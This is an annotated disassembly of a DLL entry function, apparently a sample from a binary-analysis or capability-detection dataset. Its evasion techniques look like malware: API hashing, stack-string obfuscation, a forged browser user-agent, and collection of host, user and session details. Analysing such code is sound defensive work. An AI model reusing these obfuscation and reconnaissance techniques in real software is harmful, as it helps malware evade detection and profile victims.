Function at 0x10007dd0
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Get common file path
Get hostname
Get session information
Get session user name
Parse pe header
Resolve function by parsing pe exports
Set current directory
Terminate process

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x37c
push ebx
push ebp
push esi
xor esi, esi
sub eax, esi
push edi
je 0x10008df9
dec eax
jne 0x10008ff9
mov eax, dword [esp + 0x390]
push eax
mov dword [0x100017dc], eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0x20a
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.1000abd0
push 0x105
push eax
mov dword [0x1000181c], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x10007e31
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x1000181c]
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
push eax
call ebx
lea ecx, [esp + 0x128]
xor eax, eax
push ecx
mov dword [esp + 0x12c], 0x65006b
mov dword [esp + 0x130], 0x6e0072
mov dword [esp + 0x134], 0x6c0065
mov dword [esp + 0x138], 0x320033
mov word [esp + 0x13c], ax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esp + 0xdc], eax
cmp eax, esi
jne 0x10007e95
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0xff000000
push 2
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0x341508dc
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], 0x10001550
mov dword [esp + 0x44], 0xc0c1bd8d
mov dword [esp + 0x48], esi
mov dword [esp + 0x4c], esi
mov dword [esp + 0x50], 0x10001478
call fcn.100048e0
mov ecx, dword [0x10001550]
add esp, 0x10
push 0x20a
push 8
mov dword [fcn.10001490], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.1000abd0
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x104
push eax
push esi
mov dword [0x100017d0], eax
call edi
mov edx, dword [0x100017d0]
mov ebp, dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push edx
mov dword [0x10001814], eax
call ebp
push 0x20a
push 8
mov dword [0x100014e8], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.1000abd0
push 0x104
push eax
mov dword [0x10001518], eax
mov eax, dword [0x100017dc]
push eax
call edi
push 0x20a
push 8
mov dword [0x10001468], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.1000abd0
mov ecx, dword [0x10001518]
push ecx
push eax
mov dword [0x100014ec], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [0x100014ec]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
mov eax, dword [0x100014ec]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov ecx, dword [0x100014ec]
push ecx
call ebx
mov eax, dword [0x100017d0]
mov edx, dword [0x10001518]
mov dword [0x100014cc], eax
mov eax, dword [0x100014ec]
push eax
mov dword [0x10001498], edx
mov dword [0x100014d0], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [0x100014cc]
push 1
push esi
push ecx
mov dword [0x10001574], eax
call fcn.10007630
mov dword [0x10001560], eax
mov dword [esp + 0x108], 0x74006e
push esi
lea edx, [esp + 0x10c]
push esi
push edx
mov dword [esp + 0x118], 0x6c0064
mov dword [esp + 0x11c], 0x6c
call fcn.10004890
add esp, 0x18
cmp eax, esi
jne 0x10008017
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0xff000000
push 1
lea ecx, [esp + 0x18]
push ecx
push eax
mov dword [esp + 0x20], 0x8c210360
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], 0x1000150c
call fcn.100048e0
mov edx, dword [0x10001518]
add esp, 0x10
push edx
call ebp
mov ebp, dword [sym.imp.USER32.dll_wsprintfW]
push eax
mov eax, dword [0x1000181c]
push eax
lea ecx, [esp + 0x188]
push 0x10001840
push ecx
call ebp
add esp, 0x10
lea edx, [esp + 0x180]
push edx
call dword [fcn.10001490]
mov dword [0x1000f7cc], eax
cmp eax, esi
jne 0x1000808a
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x100017dc]
push eax
call fcn.10005190
add esp, 4
push 0x11c
push 0x1000f6b0
call sub.NTDLL.dll_RtlZeroMemory
lea ecx, [esp + 0xec]
push ecx
lea edx, [esp + 0xec]
push edx
lea eax, [esp + 0xec]
push eax
mov dword [0x1000f6b0], 0x11c
mov dword [esp + 0xf0], esi
mov dword [esp + 0xf4], esi
mov dword [esp + 0xf8], esi
call sub.NTDLL.dll_RtlGetNtVersionNumbers
movzx eax, word [esp + 0xec]
mov ecx, dword [esp + 0xe4]
mov edx, dword [esp + 0xe8]
mov dword [0x1000f6b4], ecx
mov dword [0x1000f6b8], edx
mov dword [0x1000f6bc], eax
call fcn.10009be0
mov ecx, dword [0x10001560]
mov edx, 0x5a4d
mov dword [0x1000151c], eax
cmp word [ecx], dx
jne 0x10008ff9
mov edx, dword [ecx + 0x3c]
cmp dword [edx + ecx], 0x4550
jne 0x10008ff9
mov edx, dword [edx + ecx + 0x58]
cmp edx, 0x13df7ca
jne 0x10008150
mov dword [0x1000154c], 1
jmp 0x10008162
cmp edx, 0x3b75f
jne 0x10008162
mov dword [0x1000154c], 3
push eax
call fcn.100050b0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add esp, 4
push 0xc8
push 8
mov dword [0x1000147c], eax
call edi
push eax
call fcn.1000abd0
mov dword [0x100014f8], eax
cmp eax, esi
jne 0x10008195
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
mov word [esp + 0x17c], cx
mov ecx, dword [0x1000147c]
push 0x5c
push ecx
push 0x10001b80
push eax
mov dword [esp + 0x160], 0x4f0053
mov dword [esp + 0x164], 0x540046
mov dword [esp + 0x168], 0x410057
mov dword [esp + 0x16c], 0x450052
mov dword [esp + 0x170], 0x55005c
mov dword [esp + 0x174], 0x6f0073
mov dword [esp + 0x178], 0x690072
mov dword [esp + 0x17c], 0x5c0073
mov dword [esp + 0x180], 0x610042
mov dword [esp + 0x184], 0x6b0063
mov dword [esp + 0x188], 0x700075
call ebp
mov ecx, dword [0x100014f8]
lea edx, [esp + 0x160]
push edx
lea edx, [ecx + eax*2]
push 0x10001e08
push edx
mov dword [0x100017f4], eax
call ebp
mov eax, dword [0x100014f8]
mov ecx, dword [0x100017f4]
add esp, 0x1c
lea edx, [eax + ecx*2]
mov ecx, dword [0x1000151c]
lea eax, [esp + 0xe0]
push eax
push 0x1000159c
push 5
push ecx
push esi
mov dword [0x10001830], edx
mov dword [esp + 0xf4], esi
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
jne 0x100082c6
push 0x20a
push 8
call edi
push eax
call fcn.1000abd0
mov dword [0x1000159c], eax
cmp eax, esi
je 0x100082d0
lea edx, [esp + 0xe0]
push edx
push eax
mov dword [esp + 0xe8], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x100082d0
mov ecx, dword [0x1000159c]
mov word [ecx], ax
jmp 0x100082d0
mov dword [0x10001834], 1
mov eax, dword [0x1000151c]
lea edx, [esp + 0xd8]
push edx
push 0x10001540
push 7
push eax
push esi
mov dword [esp + 0xec], esi
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
jne 0x1000833a
push 0x20a
push 8
call edi
push eax
call fcn.1000abd0
mov dword [0x10001540], eax
cmp eax, esi
je 0x10008344
lea ecx, [esp + 0xd8]
push ecx
push eax
push 3
mov dword [esp + 0xe4], 0x104
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
jne 0x10008344
mov eax, dword [0x10001540]
xor edx, edx
mov word [eax], dx
jmp 0x10008344
mov dword [0x10001598], 1
call fcn.100075c0
mov dword [0x10001580], eax
call fcn.1000c190
mov dword [0x1000155c], eax
call fcn.100047a0
mov dword [0x100014dc], eax
mov dword [0x100017d8], 0x10001b68
cmp dword [0x1000154c], esi
je 0x10008ff9
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [esp + 0xd4]
push ecx
push eax
mov dword [esp + 0xdc], esi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebx, eax
cmp ebx, esi
je 0x1000842f
mov edx, dword [ebx]
push edx
call dword [sym.imp.USER32.dll_CharLowerW]
mov edx, dword [esp + 0xd4]
cmp edx, 1
jle 0x10008428
mov edi, 1
lea eax, [edx - 1]
cmp edi, eax
jge 0x100083e8
mov eax, dword [ebx + edi*4]
cmp word [eax], 0x77
jne 0x100083e8
cmp word [eax + 2], si
jne 0x100083e8
mov ecx, dword [ebx + edi*4 + 4]
inc edi
push ecx
call dword [sym.imp.SHLWAPI.dll_StrToIntW]
mov edx, dword [esp + 0xd4]
mov dword [0x10001474], eax
jmp 0x10008423
mov eax, dword [ebx + edi*4]
movzx ecx, word [eax]
cmp ecx, 0x6b
jne 0x10008405
cmp word [eax + 2], si
jne 0x10008405
mov dword [0x10001530], 1
jmp 0x10008423
cmp dword [0x1000154c], 3
jne 0x10008423
cmp ecx, 0x66
jne 0x10008423
cmp word [eax + 2], si
jne 0x10008423
mov dword [0x1000152c], 1
inc edi
cmp edi, edx
jl 0x100083b8
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [0x10001474], esi
jle 0x10008456
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ecx]
push 0x3e8
call edi
mov eax, dword [0x10001474]
dec eax
mov dword [0x10001474], eax
cmp eax, esi
jg 0x10008440
push 0x208
push 8
mov edi, 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.1000abd0
mov dword [0x100014a4], eax
cmp eax, esi
je 0x10008561
mov edx, dword [0x1000f6b8]
mov ecx, dword [0x1000f6b4]
push edx
push ecx
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0x6f004d
mov dword [esp + 0x38], 0x69007a
mov dword [esp + 0x3c], 0x6c006c
mov dword [esp + 0x40], 0x2f0061
mov dword [esp + 0x44], 0x2e0035
mov dword [esp + 0x48], 0x200030
mov dword [esp + 0x4c], 0x570028
mov dword [esp + 0x50], 0x6e0069
mov dword [esp + 0x54], 0x6f0064
mov dword [esp + 0x58], 0x730077
mov dword [esp + 0x5c], 0x4e0020
mov dword [esp + 0x60], 0x200054
mov dword [esp + 0x64], 0x750025
mov dword [esp + 0x68], 0x25002e
mov dword [esp + 0x6c], 0x290075
mov dword [esp + 0x70], 0x460020
mov dword [esp + 0x74], 0x720069
mov dword [esp + 0x78], 0x660065
mov dword [esp + 0x7c], 0x78006f
mov dword [esp + 0x80], 0x37002f
mov dword [esp + 0x84], 0x2e0038
mov dword [esp + 0x88], 0x30
call ebp
mov eax, dword [0x100014a4]
push esi
push esi
push esi
push esi
push eax
call fcn.1000e0e0
add esp, 0x24
mov dword [0x10001594], eax
cmp dword [0x1000154c], edi
jne 0x100085b0
mov eax, dword [0x1000147c]
mov ecx, dword [0x1000159c]
mov edx, dword [0x10001540]
push eax
push 0x1000f6b0
mov dword [0x100017c4], ecx
mov dword [0x100014c4], edx
call fcn.10006460
xor edx, edx
mov ecx, closesocket
div ecx
push edi
mov dword [0x100017f0], edx
mov edx, dword [0x100014ec]
push edx
call fcn.1000d6c0
add esp, 0x10
call fcn.1000a440
test eax, eax
je 0x100085c0
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x1000154c], edi
mov dword [0x1000f81c], edi
mov edi, dword [esp + 0xdc]
mov ebx, 0x1000d230
mov ebp, 0x100014f0
jne 0x10008afb
push 0x631143df
push 1
lea eax, [esp + 0x2c]
push eax
push edi
mov dword [esp + 0x34], 0x4d4177d4
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], 0x10001584
call fcn.100048e0
add esp, 0x10
call fcn.1000e490
push eax
call fcn.100066f0
push 0x631143df
push 0xb
lea ecx, [esp + 0x30]
push ecx
push edi
mov dword [0x100017d4], eax
mov dword [esp + 0x38], 0xbcceb12b
mov dword [esp + 0x3c], 0x1000d830
mov dword [esp + 0x40], 0x10001554
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], 0x5e2e2340
mov dword [esp + 0x4c], 0x100072c0
mov dword [esp + 0x50], 0x100014d8
mov dword [esp + 0x54], esi
mov dword [esp + 0x58], 0x9f7a012e
mov dword [esp + 0x5c], 0x1000f290
mov dword [esp + 0x60], 0x100017c8
mov dword [esp + 0x64], esi
mov dword [esp + 0x68], 0xa2e2fba9
mov dword [esp + 0x6c], 0x10006440
mov dword [esp + 0x70], 0x100014bc
mov dword [esp + 0x74], esi
mov dword [esp + 0x78], 0xa7a5ea92
mov dword [esp + 0x7c], 0x10004dc0
mov dword [esp + 0x80], 0x100014fc
mov dword [esp + 0x84], esi
mov dword [esp + 0x88], 0xc2feaaf6
mov dword [esp + 0x8c], 0x10004340
mov dword [esp + 0x90], 0x1000153c
mov dword [esp + 0x94], esi
mov dword [esp + 0x98], 0xf6353ee6
mov dword [esp + 0x9c], 0x1000d8c0
mov dword [esp + 0xa0], 0x10001524
mov dword [esp + 0xa4], esi
mov dword [esp + 0xa8], 0x3f942f98
mov dword [esp + 0xac], 0x100063d0
mov dword [esp + 0xb0], 0x10001808
mov dword [esp + 0xb4], esi
mov dword [esp + 0xb8], 0xaddfba77
mov dword [esp + 0xbc], 0x10005200
mov dword [esp + 0xc0], 0x100014f4
mov dword [esp + 0xc4], esi
mov dword [esp + 0xc8], 0xbaa3474b
mov dword [esp + 0xcc], ebx
mov dword [esp + 0xd0], ebp
mov dword [esp + 0xd4], esi
mov dword [esp + 0xd8], 0x16884023
mov dword [esp + 0xdc], 0x10006d00
mov dword [esp + 0xe0], 0x1000156c
mov dword [esp + 0xe4], esi
call fcn.10009540
push esi
lea eax, [esp + 0x130]
xor edx, edx
push 0x10001480
push eax
mov dword [esp + 0x138], 0x730075
mov dword [esp + 0x13c], 0x720065
mov dword [esp + 0x140], 0x320033
mov word [esp + 0x144], dx
call fcn.10004890
add esp, 0x20
mov dword [0x100014e4], eax
cmp eax, esi
je 0x10008916
push 0x631143df
push 8
lea ecx, [esp + 0x2c]
push ecx
push eax
mov dword [esp + 0x34], 0xa5126c5b
mov dword [esp + 0x38], 0x100069b0
mov dword [esp + 0x3c], 0x100014d4
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0xb624fee8
mov dword [esp + 0x48], 0x1000d210
mov dword [esp + 0x4c], 0x100017b4
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], 0x288d34a4
mov dword [esp + 0x58], 0x100067b0
mov dword [esp + 0x5c], 0x100017cc
mov dword [esp + 0x60], esi
mov dword [esp + 0x64], 0x343c1e51
mov dword [esp + 0x68], 0x100055b0
mov dword [esp + 0x6c], 0x100014b8
mov dword [esp + 0x70], esi
mov dword [esp + 0x74], 0xc0e8ab00
mov dword [esp + 0x78], 0x10005da0
mov dword [esp + 0x7c], 0x1000157c
mov dword [esp + 0x80], esi
mov dword [esp + 0x84], 0xc442ac10
mov dword [esp + 0x88], 0x10005cc0
mov dword [esp + 0x8c], 0x10001590
mov dword [esp + 0x90], esi
mov dword [esp + 0x94], 0xa2578f57
mov dword [esp + 0x98], 0x10005180
mov dword [esp + 0x9c], 0x100017f8
mov dword [esp + 0xa0], esi
mov dword [esp + 0xa4], 0xf184d6f6
mov dword [esp + 0xa8], 0x10006450
mov dword [esp + 0xac], 0x10001520
mov dword [esp + 0xb0], esi
call fcn.10009540
add esp, 0x10
push esi
lea ecx, [esp + 0x14]
push 0x1000146c
push ecx
mov dword [esp + 0x1c], 0x680073
mov dword [esp + 0x20], 0x6c0065
mov dword [esp + 0x24], 0x33006c
mov dword [esp + 0x28], 0x32
call fcn.10004890
add esp, 0xc
mov dword [0x100014e0], eax
cmp eax, esi
je 0x100089bb
push 0x631143df
push 3
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0xc7ee492e
mov dword [esp + 0x38], 0x1000d530
mov dword [esp + 0x3c], 0x10001828
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0x5c981f54
mov dword [esp + 0x48], 0x100072a0
mov dword [esp + 0x4c], 0x100014c8
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], 0xa47468e0
mov dword [esp + 0x58], 0x10006f30
mov dword [esp + 0x5c], 0x1000f808
mov dword [esp + 0x60], esi
call fcn.10009540
add esp, 0x10
push esi
lea ecx, [esp + 0x10c]
xor eax, eax
push 0x10001500
push ecx
mov dword [esp + 0x114], 0x730077
mov dword [esp + 0x118], 0x5f0032
mov dword [esp + 0x11c], 0x320033
mov word [esp + 0x120], ax
call fcn.10004890
add esp, 0xc
mov dword [0x10001528], eax
cmp eax, esi
je 0x10008a6e
push 0x631143df
push 3
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0x25ddb08c
mov dword [esp + 0x38], 0x100065b0
mov dword [esp + 0x3c], 0x10001484
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0x99d55537
mov dword [esp + 0x48], 0x1000c650
mov dword [esp + 0x4c], 0x1000f80c
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], 0x17debac0
mov dword [esp + 0x58], 0x100055d0
mov dword [esp + 0x5c], 0x10001494
mov dword [esp + 0x60], esi
call fcn.10009540
add esp, 0x10
push esi
lea eax, [esp + 0xf4]
push 0x100017e8
push eax
mov dword [esp + 0xfc], 0x690077
mov dword [esp + 0x100], 0x6d006e
mov dword [esp + 0x104], 0x6d
call fcn.10004890
add esp, 0xc
mov dword [0x10001568], eax
cmp eax, esi
je 0x10008afb
push 0x631143df
push 2
lea ecx, [esp + 0x2c]
push ecx
push eax
mov dword [esp + 0x34], 0x9d27ac39
mov dword [esp + 0x38], 0x1000d200
mov dword [esp + 0x3c], 0x100014a0
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0x5789c82b
mov dword [esp + 0x48], 0x1000c170
mov dword [esp + 0x4c], 0x10001570
mov dword [esp + 0x50], esi
call fcn.10009540
add esp, 0x10
push esi
lea edx, [esp + 0x140]
xor ecx, ecx
push 0x100017bc
push edx
mov dword [esp + 0x148], 0x640061
mov dword [esp + 0x14c], 0x610076
mov dword [esp + 0x150], 0x690070
mov dword [esp + 0x154], 0x320033
mov word [esp + 0x158], cx
call fcn.10004890
add esp, 0xc
mov dword [0x1000148c], eax
cmp eax, esi
je 0x10008cf9
cmp dword [0x1000154c], 1
jne 0x10008ccc
push 0x631143df
push 0xa
lea ecx, [esp + 0x2c]
push ecx
push eax
mov dword [esp + 0x34], 0xc3109516
mov dword [esp + 0x38], 0x1000c520
mov dword [esp + 0x3c], fcn.10001824
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0x56ff8c5d
mov dword [esp + 0x48], 0x10005ec0
mov dword [esp + 0x4c], 0x100017e4
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], 0xd41bd247
mov dword [esp + 0x58], 0x1000e4a0
mov dword [esp + 0x5c], 0x10001564
mov dword [esp + 0x60], esi
mov dword [esp + 0x64], 0x4e422a93
mov dword [esp + 0x68], 0x1000d840
mov dword [esp + 0x6c], 0x1000180c
mov dword [esp + 0x70], esi
mov dword [esp + 0x74], 0x7b817146
mov dword [esp + 0x78], 0x10009a00
mov dword [esp + 0x7c], 0x10001558
mov dword [esp + 0x80], esi
mov dword [esp + 0x84], 0x842db31e
mov dword [esp + 0x88], 0x10005520
mov dword [esp + 0x8c], 0x10001544
mov dword [esp + 0x90], esi
mov dword [esp + 0x94], 0xdd30a549
mov dword [esp + 0x98], 0x10006720
mov dword [esp + 0x9c], 0x100017ec
mov dword [esp + 0xa0], esi
mov dword [esp + 0xa4], 0x85b69c83
mov dword [esp + 0xa8], 0x10007430
mov dword [esp + 0xac], 0x100014c0
mov dword [esp + 0xb0], esi
mov dword [esp + 0xb4], 0xf1bdc0d7
mov dword [esp + 0xb8], 0x10007550
mov dword [esp + 0xbc], 0x100014a8
mov dword [esp + 0xc0], esi
mov dword [esp + 0xc4], 0x59797a4f
mov dword [esp + 0xc8], 0x1000b060
mov dword [esp + 0xcc], 0x10001510
mov dword [esp + 0xd0], esi
call fcn.10009540
jmp 0x10008cf6
push 0xff000000
push 1
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0xc5683990
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], 0x10001510
call fcn.100048e0
add esp, 0x10
cmp dword [0x1000154c], 1
jne 0x10008d6c
push esi
lea eax, [esp + 0x14]
xor edx, edx
push 0x10001818
push eax
mov dword [esp + 0x1c], 0x690077
mov dword [esp + 0x20], 0x74006e
mov dword [esp + 0x24], 0x750072
mov dword [esp + 0x28], 0x740073
mov word [esp + 0x2c], dx
call fcn.10004890
add esp, 0xc
mov dword [0x10001548], eax
cmp eax, esi
je 0x10008d95
push 0x631143df
push 1
lea ecx, [esp + 0x2c]
push ecx
mov dword [esp + 0x30], 0xc7f3ad14
mov dword [esp + 0x34], 0x1000b430
mov dword [esp + 0x38], 0x100017e0
push eax
jmp 0x10008d89
push 0x631143df
push 1
lea edx, [esp + 0x2c]
push edx
mov dword [esp + 0x30], 0xbaa3474b
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebp
push edi
mov dword [esp + 0x40], esi
call fcn.10009540
add esp, 0x10
push esi
call fcn.1000ed20
test eax, eax
je 0x10008da6
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x1000154c], 1
mov dword [0x1000f81c], 2
jne 0x10008ff9
mov eax, dword [0x10001830]
push esi
push 0x100017b8
push esi
xor ecx, ecx
cmp dword [0x10001580], esi
push 0xf013f
push esi
setne cl
push esi
push esi
push eax
add ecx, 0x80000001
push ecx
call dword [fcn.10001824]
test eax, eax
je 0x10008ff9
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x1000181c]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
cmp eax, esi
je 0x10008e12
push eax
push esi
call edi
push eax
call fcn.1000b040
mov eax, dword [0x100014ec]
cmp eax, esi
je 0x10008e25
push eax
push esi
call edi
push eax
call fcn.1000b040
mov eax, dword [0x10001518]
cmp eax, esi
je 0x10008e38
push eax
push esi
call edi
push eax
call fcn.1000b040
mov eax, dword [0x100017d0]
cmp eax, esi
je 0x10008e4b
push eax
push esi
call edi
push eax
call fcn.1000b040
mov eax, dword [0x1000f7cc]
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp eax, esi
je 0x10008e5d
push eax
call ebx
mov eax, dword [0x1000147c]
cmp eax, esi
je 0x10008e6d
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [0x100014f8]
cmp eax, esi
je 0x10008e80
push eax
push esi
call edi
push eax
call fcn.1000b040
mov eax, dword [0x1000159c]
cmp eax, esi
je 0x10008ea2
push eax
cmp dword [0x10001834], esi
je 0x10008e99
call sub.WTSAPI32.dll_WTSFreeMemory
jmp 0x10008ea2
push esi
call edi
push eax
call fcn.1000b040
mov eax, dword [0x10001540]
cmp eax, esi
je 0x10008ec4
push eax
cmp dword [0x10001598], esi
je 0x10008ebb
call sub.WTSAPI32.dll_WTSFreeMemory
jmp 0x10008ec4
push esi
call edi
push eax
call fcn.1000b040
cmp dword [0x1000154c], esi
je 0x10008ff9
cmp dword [0x1000f81c], 2
jne 0x10008edf
push esi
call fcn.1000eca0
cmp dword [0x1000f81c], esi
jle 0x10008eec
call fcn.1000d6f0
mov eax, dword [0x100014e4]
cmp eax, esi
je 0x10008f00
cmp dword [0x10001480], esi
je 0x10008f00
push eax
call ebx
mov eax, dword [0x100014e0]
cmp eax, esi
je 0x10008f14
cmp dword [0x1000146c], esi
je 0x10008f14
push eax
call ebx
mov eax, dword [0x1000148c]
cmp eax, esi
je 0x10008f28
cmp dword [0x100017bc], esi
je 0x10008f28
push eax
call ebx
mov eax, dword [0x10001548]
cmp eax, esi
je 0x10008f3c
cmp dword [0x10001818], esi
je 0x10008f3c
push eax
call ebx
mov eax, dword [0x10001528]
cmp eax, esi
je 0x10008f50
cmp dword [0x10001500], esi
je 0x10008f50
push eax
call ebx
mov eax, dword [0x10001568]
cmp eax, esi
je 0x10008f64
cmp dword [0x100017e8], esi
je 0x10008f64
push eax
call ebx
mov eax, dword [0x100014b0]
cmp eax, esi
je 0x10008f78
cmp dword [0x10001538], esi
je 0x10008f78
push eax
call ebx
mov eax, dword [0x100017b8]
cmp eax, esi
je 0x10008f88
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x100014a4]
cmp eax, esi
je 0x10008f9b
push eax
push esi
call edi
push eax
call fcn.1000b040
mov eax, dword [0x10001594]
cmp eax, esi
je 0x10008fae
push eax
push esi
call edi
push eax
call fcn.1000b040
mov eax, dword [0x1000182c]
cmp eax, esi
je 0x10008fc1
push eax
push esi
call edi
push eax
call fcn.1000b040
mov edi, 0x1000f7f8
mov eax, dword [edi]
cmp eax, esi
je 0x10008fd2
push eax
call sub.NTDLL.dll_NtClose
add edi, 4
cmp edi, 0x1000f804
jl 0x10008fc6
mov eax, dword [0x10001804]
cmp eax, esi
je 0x10008ff9
push esi
push eax
call sub.NTDLL.dll_NtTerminateThread
mov edx, dword [0x10001804]
push edx
call sub.NTDLL.dll_NtClose
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x37c
ret 0xc